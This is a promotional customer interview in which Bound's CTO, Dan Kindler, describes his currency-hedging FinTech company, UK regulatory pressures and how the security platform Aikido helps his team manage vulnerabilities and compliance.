Recently, we sat down with Dan Kindler, co-founder and CTO of Bound, a FinTech company focused on minimizing currency risk and loss, to learn how they’re dealing with security.

Hey Dan! Can you tell us a bit more about yourself and Bound?

Hi, I’m Dan Kindler and I’m the CTO and co-founder of Bound. We focus on making currency conversion and hedging cheap, fair, and most of all, easy. Our platforms help hundreds of businesses protect themselves from currency risk across the world. Currently, about half of our team is composed of engineers.

How is Bound positioned within the FinTech sector, and compared to the competition?

Before diving into FinTech itself, let me cover how we’re positioned against traditional financial institutions first. Traditional banks or brokers typically cater to customers with large treasury teams who value dealing over the phone and email. Their online exchanges typically only offer on-the-spot transactions. Since our aim is to make hedging easy and hassle-free, we’re offering both spot and currency hedging tools to manage and protect your international cash flows. Back in December 2022, we received our FCA authorization, a UK financial regulatory authority, allowing us to provide regulated hedging products.

When it comes to FinTech, it's safe to say we’re breaking Bound-aries (yeah) by introducing self-serve foreign exchange conversions online. Companies like Wise and Revolut have done a tremendous job of making currency conversions easy online – but they only focus on “spot” (or instant) conversions. With Bound, we focus on future cash flows, which they don’t focus as much on.

What purpose should security in FinTech serve?

Security plays a huge role in our industry. At the end of the day, we're dealing with financial transactions that could be worth hundreds of thousands of pounds/dollars/euros – if not more. At Bound, our transaction volume already exceeded hundreds of millions of dollars. If a security risk sneaks its way into our product - or any FinTech product for that matter - it's safe to say sh*'t hits the fan. And not just any fan. Legal consequences aside, hackers could steal other people’s savings, destroying businesses and lives.

Within FinTech, I can imagine regulatory instances or governmental regulatory bodies are putting more scrutiny on companies that deal with customer data. How does Aikido help you deal with this?

The pressure to stay compliant is huge. In the UK, we’re constantly navigating strict regulations like the GDPR and the FCA's guidance on data protection and security. The regulators expect us to be proactive in managing vulnerabilities, especially since we handle sensitive customer data.

Aikido has been a game-changer for us. The 9-in-1 platform allows us to comprehensively cover every aspect of our software security. This approach makes it easier to meet regulatory requirements without piecing together multiple tools. A big plus has been the false-positive reduction. In a regulatory landscape, we don’t have the luxury of wasting time chasing down non-existent vulnerabilities. Aikido’s precision means that when an alert comes in, we can trust it’s something that requires action, which is invaluable during audits or compliance reviews. Plus, the clear UX allows our team to act swiftly, avoiding the complexity that usually comes with security tools. It ensures that we stay ahead of any potential compliance issues without disrupting our development flow.

What future regulation do you see coming down the line for other engineering leads & VPs to keep an eye on?

Future UK FinTech regulations are likely to focus on expanding Open Banking and enhancing digital assets oversight. With innovations like Variable Recurring Payments and a digital regulatory sandbox, engineering teams should prepare for tighter security standards and new API integrations.

Before Aikido, what kept you up at night in terms of security? How were you addressing security?

Honestly, it was a mess trying to manage different tools for each type of security check. We were constantly worried something would get missed, and the number of false positives made it even worse. Aikido brought everything together in one place, so now we’re catching real issues without all the noise, and it’s made our lives way easier.

We saw Bound is one of our few customers that pretty much solved every open issue reported. Has Aikido helped you out with this?

Absolutely! We pride ourselves on taking security very seriously (as most companies – hopefully – do). For us, Aikido has had a tremendous impact on how we approach vulnerability management and remediation. We consider it to be our single source of truth, and the platform’s deduplication & pre-filtering of false positives features really help us see the forest through the trees. Once a real vulnerability pops up, we have a trigger appear in our issue tracker (Linear) to ensure we fix it as soon as possible. The process is pretty neat and well embedded into our development cycle, and we rely on it a lot.

What's your experience in working together with the Aikido team?

The team’s been super responsive and supportive from day 1. We’re able to share real time feedback, make requests, and receive relevant product updates through our joint Slack channel. At some point, I asked the Aikido team if they realized what they’ve gotten themselves into. We didn’t let their product team sleep once we realized we could ask all the things!

What's your favorite feature?

False-positive reduction aside, the ‘Import from GitHub’-button is very cool. I really like that all the repos automatically get assigned to a team. We can keep GitHub as the source of truth, while Aikido seamlessly maps everything out accordingly.

Any closing remarks?

We had our first penetration test and Amazon AWS security audit earlier this year, which went very well. We got nothing above a medium (and most of the mediums I didn’t entirely agree with anyway…). They probably would have found much more of interest if we hadn’t had Aikido shouting at us constantly, so thanks for that!